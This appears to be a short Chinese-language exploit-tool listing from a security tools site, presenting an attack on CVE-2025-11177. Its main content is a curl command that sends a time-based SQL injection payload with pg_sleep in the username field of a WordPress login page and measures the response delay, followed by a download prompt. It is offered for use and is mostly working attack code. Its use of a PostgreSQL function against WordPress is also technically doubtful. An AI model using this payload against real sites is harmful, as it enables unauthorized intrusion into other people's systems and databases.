CVE-2025-11177 — 基于时间的SQL注入漏洞利用工具，针对CVE-2025-11177，目标为WordPress登录，使用curl进行payload传递和pg_sleep时间检测。 | Kitploit

在公开登录页面上使用基于时间的SQL注入负载触发SQL注入

curl -w '\nTIME:%{time_total}\n' -s \
  -d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
  -d 'redirect_to=' \
  -d 'testcookie=1' \
  'http://{target}/wp-login.php'

下载工具

CVE-2025-11177

最受欢迎

在公开登录页面上使用基于时间的SQL注入负载触发SQL注入